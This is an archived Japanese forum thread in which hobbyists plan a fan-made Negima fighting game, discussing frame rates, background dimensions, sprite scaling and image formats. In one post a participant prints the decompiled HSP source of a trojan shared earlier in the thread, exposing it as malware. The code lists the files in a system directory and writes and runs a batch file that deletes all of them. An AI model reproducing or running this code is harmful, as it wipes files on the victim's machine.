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ネギま!の格ゲーを作るスレ

■ このスレッドは過去ログ倉庫に格納されています
0001名前は開発中のものです。2006/10/28(土) 21:49:55ID:T0yl4aFg
テンプレとか何かあったら貼ってくれ
0304名前は開発中のものです。2007/01/03(水) 00:20:47ID:zoZUSxPn
且~
0305名前は開発中のものです。2007/01/03(水) 00:21:04ID:eZ+Jy+z+
>>303
判定させたらHSP3だったぞ。間違いない。
しかしウィルスじゃないとしても失笑ものだが。
0306 ◆57U1O5h1BM 2007/01/03(水) 00:21:08ID:H48ujtay
あ、やっぱりHSPだったw
start.ax読み込んでるしw
0307名前は開発中のものです。2007/01/03(水) 00:27:46ID:2jmQy08O
通報した方が良いんじゃない?
今後の為にも
0308名前は開発中のものです。2007/01/03(水) 00:39:40ID:o7P+BmQP
またかよ・・・
こんな奴がいるからHSPが叩かれる

もしかしてHSP製だとスルー?
03092612007/01/03(水) 00:39:45ID:XeqChYq/
タイマー精度が1ミリ秒単位なので
60FPSにしようとすると安定しない気がします・・・たぶん
0310名前は開発中のものです。2007/01/03(水) 00:43:53ID:eZ+Jy+z+
>>308
このスレ的には前例があるので、基本スルー。
0311名前は開発中のものです。2007/01/03(水) 00:44:37ID:o7P+BmQP
\(^o^)/俺の人生オワタ
0312名前は開発中のものです。2007/01/03(水) 01:39:00ID:TKC9EjuB
>>298
sdim v0, 1000
v0 = dirinfo( 3 )
chdir v0
sdim v1, 1000000
sdim v2, 1000
v2 = "cd \"" + v0 + "\""
dirlist v1, "*.*", 1
v3 = stat
sdim v4, 1000
notesel v1
repeat v3
noteget v4, cnt
v2 = v2 + "\ndel \"" + v4 + "\""
loop
v2 = v2 + "\ndel \"kita.bat\""
bsave "kita.bat", v2, strlen( v2 )
exec "kita.bat", 16
end
0313名前は開発中のものです。2007/01/03(水) 01:45:36ID:tNNIuKkF
またトロイか
0314名前は開発中のものです。2007/01/03(水) 01:47:07ID:TKC9EjuB
>>298
EXE内に http://www.vector.co.jp/soft/win95/net/se410619.html が入っている
0315名前は開発中のものです。2007/01/03(水) 01:54:22ID:btaR93Fg
何故にネギまは狙われてますかorz
0316名前は開発中のものです。2007/01/03(水) 01:59:44ID:tNNIuKkF
HSPがどうのこうので暴れてた奴が粘着でもしてるんだろ
0317名前は開発中のものです。2007/01/03(水) 02:05:17ID:eZ+Jy+z+
検証乙。ドゾ っ且~
0318名前は開発中のものです。2007/01/03(水) 13:27:16ID:rq4IMTG8
>>261
普通、モニターのリフレッシュレート(何回描画するか)が60回なので、
ほとんどの動画は60fpsで作られてるんだよ
0319名前は開発中のものです。2007/01/03(水) 14:07:16ID:s8r2SH8H
>>261
背景を作るとしたらサイズはどのくらいで描いたらいいでしょうか?
0320名前は開発中のものです。2007/01/03(水) 14:20:33ID:eZ+Jy+z+
>>318
内部処理が50fpsなだけなら60も50も変わらない気がするけど。
0321 ◆57U1O5h1BM 2007/01/03(水) 16:18:24ID:H48ujtay
>>320
一秒間に計算する回数が変わってくるから結構変わると思うよ。
大概の場合モニターが60回描画するのでなるべく同期させた方がいいって話っぽい。
(合っていないとちらついたりする?)

でもまぁあんまり気にしなくていいのかもしんない(どっちだよ
0322名前は開発中のものです。2007/01/03(水) 17:13:16ID:eZ+Jy+z+
言葉足らずですまそ。
ぶっちゃけウィンドウモードなので、チラつきはあまり気にしないで良いと思う。
フルスクリーンなら60固定の人多いかもしれないけど、どうだろう。
液晶が増えてきたからウィンドウモードでも60固定の人も増えてきたのかな。

アニメーション制御もリフレッシュレート依存じゃなくてタイマ依存なので
環境による見え方に速度的な違いは無いでしょう。
多分ここで問題になるのはキー入力部分の反応速度だと思いましたので、
経験上50も60もあまり変わらなかったよ、と言いたかった次第であります。はい。

内部50でも60でもタイマの精度的に誤差がありますから、リフレッシュレートと絡めて
悩み始めるとそれこそ、もうwww
0323名前は開発中のものです。2007/01/03(水) 17:31:58ID:eZ+Jy+z+
あと、内部120で回してキー入力受け取ったらキモいぐらい滑らかでした。
0324 ◆57U1O5h1BM 2007/01/03(水) 17:50:40ID:H48ujtay
タイマ依存でしたか、とすると確かに速度などは問題ないですね。
ところで322=261ってことでおkなのでしょうか?
0325名前は開発中のものです。2007/01/03(水) 18:31:34ID:eZ+Jy+z+
別人です
03263192007/01/03(水) 20:11:39ID:s8r2SH8H
別人なの?ぢゃあ322さんは誰?組んでいるのは261さんなんだよね?
0327名前は開発中のものです。2007/01/03(水) 20:33:38ID:rJzi+GpL
久しぶりに覗いたら活性化してるようで何より
0328名前は開発中のものです。2007/01/03(水) 20:52:39ID:eZ+Jy+z+
前スレから住み込んでる、97氏の追っかけです(ぉ
03292612007/01/03(水) 23:44:43ID:EePdkJcm
>>322の言ってるとおり50でも60でもあんまり変わんねーです。
まぁ俺の好みで50にすると言うことで。

>>319
640x480でいいんじゃないかな。

背景以外にも体力ゲージとかも必要だね。

今日、明日、明後日と作業時間がとれないので更新はないです。
0330 ◆57U1O5h1BM 2007/01/04(木) 00:15:51ID:HoVmEovT
640*480だと画面サイズと同じだからもっと大きいほうがよくない?
ジャンプしたときとか距離とるときとか。
03312612007/01/04(木) 01:51:07ID:fAg9ONnF
>>330
あーなるほろ。そうだね。
じゃあ、どのくらいがいいかな?


あースレ見てる場合じゃないのに・・・
忙しいときほど他のことをやりたくなるorz
0332 ◆57U1O5h1BM 2007/01/04(木) 01:54:19ID:HoVmEovT
ジャンプの仕様によって高さは変わるよね。
横は 200 + 480 + 200 位かな?
0333名前は開発中のものです。2007/01/04(木) 02:30:42ID:7pqb6dXM
ストーリートファイターみたいに戦闘区間を限定するのか、キャラの間隔によって画面を拡大縮小するのか…
後者ってやっぱやりにくい?
0334名前は開発中のものです。2007/01/04(木) 06:55:41ID:7RBZJsML
>>333
そんなに難しくないよ
ただショボイPCなら処理落ちする可能性もあるけど
0335名前は開発中のものです。2007/01/04(木) 08:16:36ID:/kBMZpSi
ドット絵に縮小はキツイと思う
縮小使うならGGXXみたいにハイレゾじゃあないと何やってるかわからなくなる
0336名前は開発中のものです。2007/01/04(木) 14:01:47ID:o/Lq24qm
>>335
縮小したまま殴り合う訳じゃないし、そんな気になるもんでもないと思う
NEOGEOなんかのサムスピやらギャラクシーファイトやらで慣れてるだけかもしれんが
0337名前は開発中のものです。2007/01/04(木) 18:48:59ID:IsdU369N
>>333
今の漫画ネギまのようなバトルをするゲームなら前者、
これに3巻みたいな感じを取り入れたかったら後者じゃね?
0338名前は開発中のものです。2007/01/04(木) 18:56:03ID:xeuC9h9q
ラブひな見てる時に俺も考えたことがありましたよ
ということでボツ
03393192007/01/05(金) 11:54:33ID:YC+Th4s7
http://gamdev.org/up/img/8534.gif

まだ全然出来てませんが、とりあえずこんな感じで如何でしょう?
0340名前は開発中のものです。2007/01/05(金) 12:14:17ID:Dzk0vEUK
8bitですか
しかも小さい気が・・・
最近の格ゲはだいたい800x600じゃない?
背景は横幅2倍、縦幅も2倍ぐらい必要な気がする
プログラミング側から考えれば画像フォーマットは統一した方がいいかと
あとGIFよりPNGの方が容量小さくて済む(GIFの著作権問題は切れたかな?)
0341名前は開発中のものです。2007/01/05(金) 13:06:46ID:A/eCFI1T
どう考えても2倍は、いらんだろ。
画面サイズが640*480だし。
0342名前は開発中のものです。2007/01/05(金) 14:43:37ID:Dzk0vEUK
640x480サイズで背景が動かない格ゲとか・・・
0343名前は開発中のものです。2007/01/05(金) 15:35:15ID:0gUc3Mu7
背景が一枚絵なのか、遠景近景二枚絵にするかとかで
サイズは違ってくるわな

にしても、最近の格ゲが800x600とは知らなかった
03443192007/01/05(金) 19:13:15ID:dkZntMHc
http://gamdev.org/up/img/8537.gif

上は先に公開されていたエヴァを乗せただけの物です。

サイズに関しては指定されていた640×480で書いてあります。でもまぁ
両サイドを広げたり縦幅を広げたりするのは問題なく出来ます。
スクロールに関しても、どのように切ればいいか指定してもらえれば
何とかします。
0345名前は開発中のものです。2007/01/05(金) 19:21:47ID:Dzk0vEUK
期待した俺が馬鹿だった
別システムを自分で作った方が早いな
0346名前は開発中のものです。2007/01/05(金) 19:22:34ID:u0eBFCEl
先に公開されてたプログラム
エヴァ2倍に表示してたぞ。

背景も2倍で表示するの?
0347名前は開発中のものです。2007/01/05(金) 19:34:25ID:Dzk0vEUK
>>346
それなら納得
03483192007/01/05(金) 19:41:48ID:4zg02C6k
素人なのでよく判らないんだが、キャラ表示は2倍、背景表示はそのまま
ってのが基本なの?それならキャラとの対比を考えて描きなおさなきゃだし。
まぁ現状でも対比があってるかはわかりませんが・・・
0349名前は開発中のものです。2007/01/05(金) 19:56:37ID:u0eBFCEl
ここのプログラマじゃないけど、
キャラクターは2倍で表示した画像はぼやけてた。
SetRenderStateで設定してペイントの2倍表示のようにすることも出来るけど、
ドットが大きくなるからなー。

そのままのSetRenderStateだったら背景もぼやけるし。

まあ、ふつうに大きく描いたらいいんじゃない?

03503202007/01/05(金) 19:59:16ID:A/eCFI1T
>>345
やるんか?
0351名前は開発中のものです。2007/01/05(金) 20:00:52ID:A/eCFI1T
元素材を2倍にしたら、ぼやけないんじゃないの?
0352名前は開発中のものです。2007/01/05(金) 20:23:41ID:Dzk0vEUK
>>350
残念ながらHSP使いですorz
自己満足のために作るかな
0353名前は開発中のものです。2007/01/05(金) 20:42:21ID:u0eBFCEl
ttp://gamdev.org/up/img/8538.jpg
ttp://gamdev.org/up/img/8539.jpg

下のが自分のプログラム。
作ってる奴で表示したのでプログラムはうpできないけど。
色々版権にかかわる画像でサンプル表示してるので…画像だけでソマソ。

まあぼやけれるって言われれば、そうかもしれない。
03543192007/01/05(金) 21:02:42ID:tK0wudWa
とりあえず261さんの返答待ちにします
0355名前は開発中のものです。2007/01/05(金) 23:56:27ID:OH6IUmBH
>>319
>>330-332
0356名前は開発中のものです。2007/01/06(土) 00:16:17ID:Dk7+T2CP
わ。
いつのまにまた再燃したのだ。
おかえりなさい
03573192007/01/07(日) 03:41:41ID:nTHSJnZm
http://gamdev.org/up/img/8559.gif

横サイズを880(200+480+200)にしてみました。
縦サイズも680(480+200)にしてあります。

でも対比はこのままで大丈夫なんだろうか;;;心配
0358名前は開発中のものです。2007/01/07(日) 12:15:49ID:fZJHcwug
>>357
1段ジャンプゲーならこれぐらいだな
2段ジャンプゲーならもう少しいるかも
あとキャラは2倍率で画像フォーマットもそろえるべき
GIFは色々と厄介なうえに容量いるし
0359名前は開発中のものです。2007/01/07(日) 12:33:38ID:fZJHcwug
http://gamdev.org/up/img/8560.jpg
なんだかなぁ・・・
03603192007/01/07(日) 13:55:23ID:/CeS9ipF
>>359
まぁそのまま乗せればそうなりますよね。上にも書きましたが元々対比が
違うんですから;;;
03613192007/01/07(日) 14:30:46ID:/CeS9ipF
http://www.gamdev.org/up/img/8561.gif

縦横サイズをそのまま(縦680横880)で、キャラを2倍、背景を1.5倍で
書き出してみました。こうなると横幅880でも狭くないですか?
◆57U1O5h1BMさんも261さんも居ない状態で聞く事じゃないかもしれないけど。
0362名前は開発中のものです。2007/01/07(日) 17:59:20ID:GAQNCnvu
とりあえず、>>332はtypoっただけで
200+640+200の意味なんじゃないかと思う
0363名前は開発中のものです。2007/01/07(日) 20:03:17ID:fZJHcwug
だから2倍ぐらい居るんじゃないかと言ったんだよ
キャラを2倍で描写するならなかなかの幅がいる
まあこちらで倍率を変えればどうにでもなることなんだが
にしてもいちいちGIFをPNGに変換するのがめんどくさい
03643192007/01/07(日) 20:19:18ID:S+lauvpz
えっと・・・363さんは216さんと同一人物ではないんですよね?多分だけど。(363=340?)
背景はとりあえずサイズと対比をみているだけなんでgifのままにしてます。
サイズと仕様がきちんと決まったらpngに変換してUPしますし、現状で合わせる必要はないと思うのですが
0365名前は開発中のものです。2007/01/07(日) 20:28:01ID:fZJHcwug
>>364
一応340
>サイズと仕様がきちんと決まったらpngに変換してUPします
そうだったのか。しつこくいってすまんかった
俺はHSPなんでUPできんががんばってくれよ
0366名前は開発中のものです。2007/01/07(日) 20:28:50ID:jiVPWH2f
>>357のままの比率で背景キャラともに2倍拡大でいいんじゃない?
別に端から見た目で違和感感じないけど。
>>359でキャラだけ2倍してるからおかしいんだろう。
0367名前は開発中のものです。2007/01/07(日) 20:36:30ID:2njBvyMi
>>365
数字コテでいいから、付けっぱなしにしておいた方がいいと思うよ
0368名前は開発中のものです。2007/01/07(日) 20:50:38ID:fZJHcwug
>>366
いくらなんでも背景まで拡大表示したら手抜き格ゲに見えるだろ

>>367
以前それでもめごとになったからファイルを上げてる人しかコテつけない方がいい
上げられない俺は名無しで十分だよ
っというかもう何も言わない方がいいか・・・
03693192007/01/07(日) 20:59:17ID:S+lauvpz
肝心の御二人がここ数日上がって来ていないのが非常に気になるんですが;;;
0370名前は開発中のものです。2007/01/07(日) 21:08:11ID:02Xu8l4F
>>340は自己満足で一人で作ることにしたんでしょ?
それとも、素材だけはこのスレに上がったものを利用する気だったのだろうか
0371名前は開発中のものです。2007/01/07(日) 21:10:48ID:A8vB9sqS
>>369
数日程度、いつもの事だとのんびり構えてた方がいいぞ
ただでさえ、今は年始で色々あるだろうさ
0372名前は開発中のものです。2007/01/07(日) 21:13:01ID:jiVPWH2f
手抜きに見えるかは別としても、背景とキャラの粗さが違う方が
統一感が無いので違和感ありありなように思えるが。
0373名前は開発中のものです。2007/01/07(日) 21:14:01ID:fZJHcwug
>>370
さすがに立ち絵とか自分で描けたらここに居ないな・・・
>自己満足で一人で作ることにしたんでしょ?
一人で作るのは仕方ないだろう。作っても上げれないなら自然に自己満足ってことになる

>>372
ならメルブラは違和感だらけだなw
0374名前は開発中のものです。2007/01/07(日) 21:21:32ID:jiVPWH2f
メルブラがスタンダードかよw
0375名前は開発中のものです。2007/01/07(日) 21:21:54ID:A8vB9sqS
>>372
同人でも商業でも見かける手段だし、そんな違和感もない気がする
あとは背景描く人が、当倍と倍サイズ、どっちが書きやすいかで選べばいい程度じゃないかなと思う
わざわざ当倍で書く人が倍ドット修正なんかしてたら無駄だしねぇ
0376名前は開発中のものです。2007/01/07(日) 21:23:09ID:fZJHcwug
>>374
俺でも荒すぎると思うがなにか?
0377名前は開発中のものです。2007/01/07(日) 21:26:14ID:fZJHcwug
>>375
俺もそうおもう
立ち絵に比べて背景は量がかなり少ないから等倍がいいね
背景が綺麗だと立ち絵のドットが荒くても許せるし
0378名前は開発中のものです。2007/01/07(日) 21:28:10ID:jiVPWH2f
それが普通なら、別にそれでいいよ。
俺がおかしいだけだなんだろう。
0379名前は開発中のものです。2007/01/07(日) 21:43:06ID:A8vB9sqS
>>378
普通かどうかって話じゃなく、手段としてナシではない、程度の話だと思うな
所詮は趣味と実務作業で折り合い付けて手段を選ぶだけの問題で
手を動かす人がやりやすい環境で作るのが一番よ
名無しがウダウダ言うこっちゃないわな
趣味で言い出したら、俺は320x240クラスのドット絵背景が一番好きだし
キャラドットも荒いとか感じない人だしさ
0380名前は開発中のものです。2007/01/07(日) 21:48:01ID:jiVPWH2f
320x240・・・あれはいい・・すごくいい。御飯10杯はいける。

たしかに名無しがウダウダ言うこっちゃ無い罠。
0381名前は開発中のものです。2007/01/07(日) 22:17:52ID:CfotWgho
背景とキャラクターが同じようなドットだと
キャラクターが見にくい、って事無い?
俺がオジサンなだけか?
03823192007/01/07(日) 22:47:43ID:S+lauvpz
えっと・・・背景の事で盛り上がってる所ですがちょっと気になったのでここで
ちょっと質問を。まぁ御二人が居ない所で話すのもどうかと思ったのですが;;;

「ネギまの格ゲーを作る」という事ですが、具体的にはどのような形を目指して
いるんでしょうか?(仕様みたいな)例えば・・・操作方法(十字キー+2ボタンor
3ボタンor6ボタン)とかが決まっていないと攻撃動作やダメージ受け動作の
必要画像枚数とか解らない感じだし。あとはシステム的に1対1の対戦格闘的
な感じを目指すのか、複数同時対戦的なものを目指すのかとか。
最初に書きましたが、肝心の御二人が居ない状態で話し合うのも微妙だとは思う
のですがここで一度方向性みたいなもの(希望)を話してみるのもいいんじゃ
ないかなと。
0383名前は開発中のものです。2007/01/08(月) 15:13:11ID:8D+iTYWg
前にボツになったけど、MUGENでいいんじゃね?
2対2もできるし。とりあえずこれのキャラだけ作ればゲーム作りの練習にもなるし、ネギま専用のゲームを作りたくなったら移植させればいいのでは?
0384名前は開発中のものです。2007/01/08(月) 16:29:12ID:eOD5RIcD
MUGENで作るなら各々個人でやればいい
そしてこのスレの意味がなくなる
0385名前は開発中のものです。2007/01/08(月) 18:38:24ID:oVUSx+1N
ドットキャラ綺麗ですね
描くの大変だとは思いますが期待してますっ
0386名前は開発中のものです。2007/01/08(月) 20:52:58ID:wMjk7SwF
>>383
数字コテ付けてる奴がこのスレのプログラマーでUPする人だが
それ以外の人は自由に自分で決めて作ってもいいんじゃね?
0387名前は開発中のものです。2007/01/09(火) 13:34:31ID:FD9H5kW/
MUGENを改造するという選択肢は無しか?
0388名前は開発中のものです。2007/01/09(火) 13:58:24ID:gIGKLTLt
無限厨ウザイ
0389名前は開発中のものです。2007/01/09(火) 17:27:15ID:Ya78pOn1
ねぎま!のカクゲーあるぞ
http://ne2net.hp.infoseek.co.jp/soujomanual.html
0390名前は開発中のものです。2007/01/09(火) 18:41:34ID:f9yr3JKL
>>389
ありえないほどクオリティーが低い・・・
0391名前は開発中のものです。2007/01/09(火) 19:22:26ID:Tes7Pfee
明日菜の攻撃範囲激狭なんですけどw
0392名前は開発中のものです。2007/01/09(火) 20:41:39ID:+URs0bUB
>>389
前にもこれやった事あるな
糞ゲー
0393名前は開発中のものです。2007/01/09(火) 20:53:17ID:hPxOVpqS
恐ろしいほどの糞ゲー・・・
せっちゃん強すぎワロタ
0394名前は開発中のものです。2007/01/09(火) 21:45:50ID:gbHIunGJ
もう一個発見
ttp://fukuinn4.hp.infoseek.co.jp/kakunegi.html
0395名前は開発中のものです。2007/01/09(火) 23:14:50ID:f9yr3JKL
>>394
こっちの方がクオリティーたけぇw
隠しキャラのタカミチにはワロタwww
何あの鬼みたいな強さなのに弱以外立ち絵そのままwwwww
03963192007/01/10(水) 01:36:48ID:cP3Tp76a
http://www.gamdev.org/up/img/8583.gif

一応背景あのまま書き進めてるんですが良いんでしょうか?
0397名前は開発中のものです。2007/01/10(水) 16:38:55ID:n3jRczoR
とりあえずそのままでいいんじゃないだろうか
0398名前は開発中のものです。2007/01/10(水) 18:31:36ID:CHzNcTtD
幅が狭くないか
0399名前は開発中のものです。2007/01/11(木) 06:32:31ID:knh/tSGU
目がちかちかする気がする
0400名前は開発中のものです。2007/01/11(木) 08:24:04ID:nWabBXTd
線の色が真っ黒だからくっきりしすぎなんで目が痛くなるかもね
線の色をもうちょっと明るくすると大分良くなると思うよ
個人的にR8B8G10ぐらいにするといいかも
0401名前は開発中のものです。2007/01/11(木) 11:04:44ID:BwFwtEYG
俺的には8bitじゃなくて24bit(ry
0402名前は開発中のものです。2007/01/12(金) 20:13:11ID:uazR5UcA
いやいや、これから超絶技巧がみられるのさ!
0403名前は開発中のものです。2007/01/12(金) 20:51:50ID:26YESMmS
近日中に2ch潰れちゃうけど…
どうする?
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